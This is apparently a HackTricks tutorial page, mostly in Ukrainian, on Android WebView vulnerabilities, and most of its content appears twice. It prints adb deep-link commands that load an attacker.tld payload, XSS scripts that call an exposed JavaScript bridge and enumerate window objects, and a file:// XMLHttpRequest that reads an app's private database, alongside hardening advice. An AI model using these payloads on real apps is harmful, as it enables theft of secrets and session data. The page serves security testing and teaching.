Webview Attacks

Reading time: 13 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Критичним аспектом розробки для Android є правильне оброблення WebViews. Цей посібник підкреслює ключові конфігурації та практики безпеки для зменшення ризиків, пов'язаних з використанням WebView.

WebView Example

File Access in WebViews

За замовчуванням WebViews дозволяють доступ до файлів. Ця функціональність контролюється методом setAllowFileAccess(), доступним з рівня API Android 3 (Cupcake 1.5). Додатки з дозволом android.permission.READ_EXTERNAL_STORAGE можуть читати файли з зовнішнього сховища, використовуючи схему URL файлу (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Ця застаріла функція дозволяла крос-доменні запити з URL файлів, що становило значний ризик безпеки через потенційні атаки XSS. Налаштування за замовчуванням вимкнено (false) для додатків, що націлені на Android Jelly Bean та новіші версії.
  • Щоб перевірити це налаштування, використовуйте getAllowUniversalAccessFromFileURLs().
  • Щоб змінити це налаштування, використовуйте setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ця функція, також застаріла, контролювала доступ до вмісту з інших URL схем файлів. Як і універсальний доступ, її значення за замовчуванням вимкнено для підвищення безпеки.
  • Використовуйте getAllowFileAccessFromFileURLs() для перевірки та setAllowFileAccessFromFileURLs(boolean) для налаштування.

Secure File Loading

Для вимкнення доступу до файлової системи, одночасно отримуючи доступ до активів і ресурсів, використовується метод setAllowFileAccess(). З Android R і вище, налаштування за замовчуванням - false.

  • Перевірте за допомогою getAllowFileAccess().
  • Увімкніть або вимкніть за допомогою setAllowFileAccess(boolean).

WebViewAssetLoader

Клас WebViewAssetLoader є сучасним підходом для завантаження локальних файлів. Він використовує http(s) URL для доступу до локальних активів і ресурсів, узгоджуючись з політикою того ж походження, що полегшує управління CORS.

loadUrl

Це загальна функція, що використовується для завантаження довільних URL в webviwe:

java
webview.loadUrl("<url here>")

Звичайно, потенційний атакуючий ніколи не повинен мати можливість контролювати URL, який завантажує додаток.

Обробка JavaScript та Intent Scheme

  • JavaScript: Вимкнено за замовчуванням у WebViews, його можна увімкнути за допомогою setJavaScriptEnabled(). Рекомендується бути обережним, оскільки увімкнення JavaScript без належних запобіжних заходів може призвести до вразливостей безпеки.
  • Intent Scheme: WebViews можуть обробляти схему intent, що потенційно може призвести до експлуатації, якщо не управляти нею обережно. Приклад вразливості пов'язаний з відкритим параметром WebView "support_url", який можна експлуатувати для виконання атак міжсайтового скриптування (XSS).

Vulnerable WebView

Приклад експлуатації за допомогою adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Функція, що надається Android, дозволяє JavaScript у WebView викликати функції рідного Android додатку. Це досягається за допомогою методу addJavascriptInterface, який інтегрує JavaScript з рідними функціональностями Android, що називається WebView JavaScript bridge. Рекомендується бути обережним, оскільки цей метод дозволяє всім сторінкам у WebView отримувати доступ до зареєстрованого об'єкта JavaScript Interface, що становить ризик безпеки, якщо чутлива інформація буде розкрита через ці інтерфейси.

  • Вимагається крайня обережність для додатків, що націлені на версії Android нижче 4.2 через вразливість, що дозволяє віддалене виконання коду через шкідливий JavaScript, експлуатуючи рефлексію.

Implementing a JavaScript Bridge

  • JavaScript інтерфейси можуть взаємодіяти з рідним кодом, як показано в прикладах, де метод класу відкритий для JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge активується шляхом додавання інтерфейсу до WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Потенційна експлуатація через JavaScript, наприклад, через атаку XSS, дозволяє викликати відкриті Java методи:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Щоб зменшити ризики, обмежте використання JavaScript bridge кодом, що постачається з APK, і забороніть завантаження JavaScript з віддалених джерел. Для старіших пристроїв встановіть мінімальний рівень API на 17.

Виконання віддаленого коду на основі рефлексії (RCE)

  • Документований метод дозволяє досягти RCE через рефлексію, виконуючи специфічний payload. Однак анотація @JavascriptInterface запобігає несанкціонованому доступу до методів, обмежуючи площу атаки.

Віддалене налагодження

  • Віддалене налагодження можливе за допомогою Chrome Developer Tools, що дозволяє взаємодіяти та виконувати довільний JavaScript у вмісті WebView.

Увімкнення віддаленого налагодження

  • Віддалене налагодження можна увімкнути для всіх WebView в додатку шляхом:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Щоб умовно увімкнути налагодження на основі стану налагодження програми:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Екстракція довільних файлів

  • Демонструє екстракцію довільних файлів за допомогою XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Критичним аспектом розробки для Android є правильне оброблення WebViews. Цей посібник підкреслює ключові конфігурації та практики безпеки для зменшення ризиків, пов'язаних з використанням WebView.

WebView Example

File Access in WebViews

За замовчуванням WebViews дозволяють доступ до файлів. Ця функціональність контролюється методом setAllowFileAccess(), доступним з рівня API Android 3 (Cupcake 1.5). Додатки з дозволом android.permission.READ_EXTERNAL_STORAGE можуть читати файли з зовнішнього сховища, використовуючи схему URL файлу (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Ця застаріла функція дозволяла крос-доменні запити з URL файлів, що становило значний ризик безпеки через потенційні атаки XSS. Налаштування за замовчуванням вимкнено (false) для додатків, що націлені на Android Jelly Bean та новіші версії.
  • Щоб перевірити це налаштування, використовуйте getAllowUniversalAccessFromFileURLs().
  • Щоб змінити це налаштування, використовуйте setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ця функція, також застаріла, контролювала доступ до вмісту з інших URL схем файлів. Як і універсальний доступ, її значення за замовчуванням вимкнено для підвищення безпеки.
  • Використовуйте getAllowFileAccessFromFileURLs() для перевірки та setAllowFileAccessFromFileURLs(boolean) для налаштування.

Secure File Loading

Для вимкнення доступу до файлової системи, одночасно отримуючи доступ до активів і ресурсів, використовується метод setAllowFileAccess(). З Android R і вище, налаштування за замовчуванням - false.

  • Перевірте за допомогою getAllowFileAccess().
  • Увімкніть або вимкніть за допомогою setAllowFileAccess(boolean).

WebViewAssetLoader

Клас WebViewAssetLoader є сучасним підходом для завантаження локальних файлів. Він використовує http(s) URL для доступу до локальних активів і ресурсів, узгоджуючись з політикою Same-Origin, що полегшує управління CORS.

loadUrl

Це загальна функція, що використовується для завантаження довільних URL у webviwe:

java
webview.loadUrl("<url here>")

Звичайно, потенційний атакуючий ніколи не повинен мати можливість контролювати URL, який завантажує додаток.

Глибоке посилання в внутрішній WebView (кастомна схема → WebView sink)

Багато додатків реєструють кастомні схеми/шляхи, які перенаправляють URL, наданий користувачем, в WebView всередині додатка. Якщо глибоке посилання експортується (VIEW + BROWSABLE), атакуючий може змусити додаток відобразити довільний віддалений контент у контексті його WebView.

Типовий шаблон маніфесту (спрощений):

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Загальний потік коду (спрощений):

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Шаблон атаки та PoC через adb:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Вплив: віддалена сторінка працює в контексті WebView додатку (куки/сесія профілю WebView додатку, доступ до будь-якого відкритого @JavascriptInterface, потенційний доступ до content:// та file:// в залежності від налаштувань).

Поради для полювання:

  • Grep декомпільовані джерела на getQueryParameter("url"), loadUrl(, WebView sinks, та обробники глибоких посилань (onCreate/onNewIntent).
  • Перегляньте маніфест на наявність фільтрів VIEW+BROWSABLE та користувацьких схем/хостів, які відображаються на активності, що пізніше запускає WebView.
  • Перевірте, чи є кілька шляхів глибоких посилань (наприклад, шлях "зовнішнього браузера" проти "внутрішнього webview") і надайте перевагу тому, що відображається всередині додатку.

Увімкнення JavaScript перед перевіркою (помилка порядку перевірок)

Частою помилкою зміцнення є увімкнення JavaScript або налаштування розслаблених параметрів WebView перед завершенням остаточного списку дозволених/перевірки цільового URL. Якщо перевірка є непослідовною між допоміжними засобами або відбувається занадто пізно, зловмисник може отримати доступ до стану, де:

  1. Налаштування WebView застосовуються (наприклад, setJavaScriptEnabled(true)), і
  2. Ненадійний URL завантажується з увімкненим JavaScript.

Шаблон помилки (псевдокод):

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Чому це вразливо

  • Непослідовна нормалізація: допоміжні засоби розділяють/перебудовують URL по-різному, ніж фінальна перевірка, створюючи невідповідності, які може експлуатувати шкідливий URL.
  • Неправильний порядок виконання: увімкнення JS на етапі 2 застосовується глобально до екземпляра WebView, впливаючи на фінальне завантаження, навіть якщо перевірка пізніше зазнає невдачі.

Як протестувати

  • Створіть глибокі посилання, які проходять ранні перевірки і досягають сайту конфігурації WebView.
  • Використовуйте adb для запуску неявних намірів VIEW, які передають параметр url=, контрольований вами:
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Якщо експлуатація успішна, ваш вантаж виконує JavaScript у WebView додатку. Звідти досліджуйте відкриті мости:

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Захисні рекомендації

  • Канонізуйте один раз; строго перевіряйте проти єдиного джерела правди (схема/хост/шлях/запит).
  • Викликайте setJavaScriptEnabled(true) лише після проходження всіх перевірок у білому списку і безпосередньо перед завантаженням довіреного контенту.
  • Уникайте відкриття @JavascriptInterface для ненадійних джерел; надавайте перевагу контролю за кожним джерелом.
  • Розгляньте можливість використання окремих екземплярів WebView для довіреного та ненадійного контенту, з вимкненим JS за замовчуванням.

Обробка JavaScript та Intent Scheme

  • JavaScript: Вимкнений за замовчуванням у WebViews, його можна увімкнути за допомогою setJavaScriptEnabled(). Рекомендується обережність, оскільки увімкнення JavaScript без належних запобіжних заходів може призвести до вразливостей безпеки.
  • Intent Scheme: WebViews можуть обробляти схему intent, що потенційно може призвести до експлуатації, якщо не управляти нею обережно. Приклад вразливості включав відкритий параметр WebView "support_url", який можна було експлуатувати для виконання атак міжсайтового скриптування (XSS).

Vulnerable WebView

Приклад експлуатації з використанням adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Функція, що надається Android, дозволяє JavaScript у WebView викликати функції рідного Android додатку. Це досягається за допомогою методу addJavascriptInterface, який інтегрує JavaScript з рідними функціональностями Android, що називається WebView JavaScript bridge. Рекомендується бути обережним, оскільки цей метод дозволяє всім сторінкам у WebView отримувати доступ до зареєстрованого об'єкта JavaScript Interface, що становить ризик безпеки, якщо чутлива інформація буде розкрита через ці інтерфейси.

  • Вимагається крайня обережність для додатків, що націлені на версії Android нижче 4.2 через вразливість, що дозволяє віддалене виконання коду через шкідливий JavaScript, експлуатуючи рефлексію.

Implementing a JavaScript Bridge

  • JavaScript інтерфейси можуть взаємодіяти з рідним кодом, як показано в прикладах, де метод класу відкритий для JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge активується шляхом додавання інтерфейсу до WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Потенційна експлуатація через JavaScript, наприклад, через атаку XSS, дозволяє викликати відкриті Java методи:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Щоб зменшити ризики, обмежте використання JavaScript bridge кодом, що постачається з APK, і забороніть завантаження JavaScript з віддалених джерел. Для старіших пристроїв встановіть мінімальний рівень API на 17.

Виконання віддаленого коду на основі рефлексії (RCE)

  • Документований метод дозволяє досягти RCE через рефлексію, виконуючи специфічний payload. Однак анотація @JavascriptInterface запобігає несанкціонованому доступу до методів, обмежуючи поверхню атаки.

Віддалене налагодження

  • Віддалене налагодження можливе за допомогою Chrome Developer Tools, що дозволяє взаємодіяти та виконувати довільний JavaScript у вмісті WebView.

Увімкнення віддаленого налагодження

  • Віддалене налагодження можна увімкнути для всіх WebView в додатку, виконавши:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Щоб умовно увімкнути налагодження на основі стану налагодження програми:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Екстракція довільних файлів

  • Демонструє екстракцію довільних файлів за допомогою XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks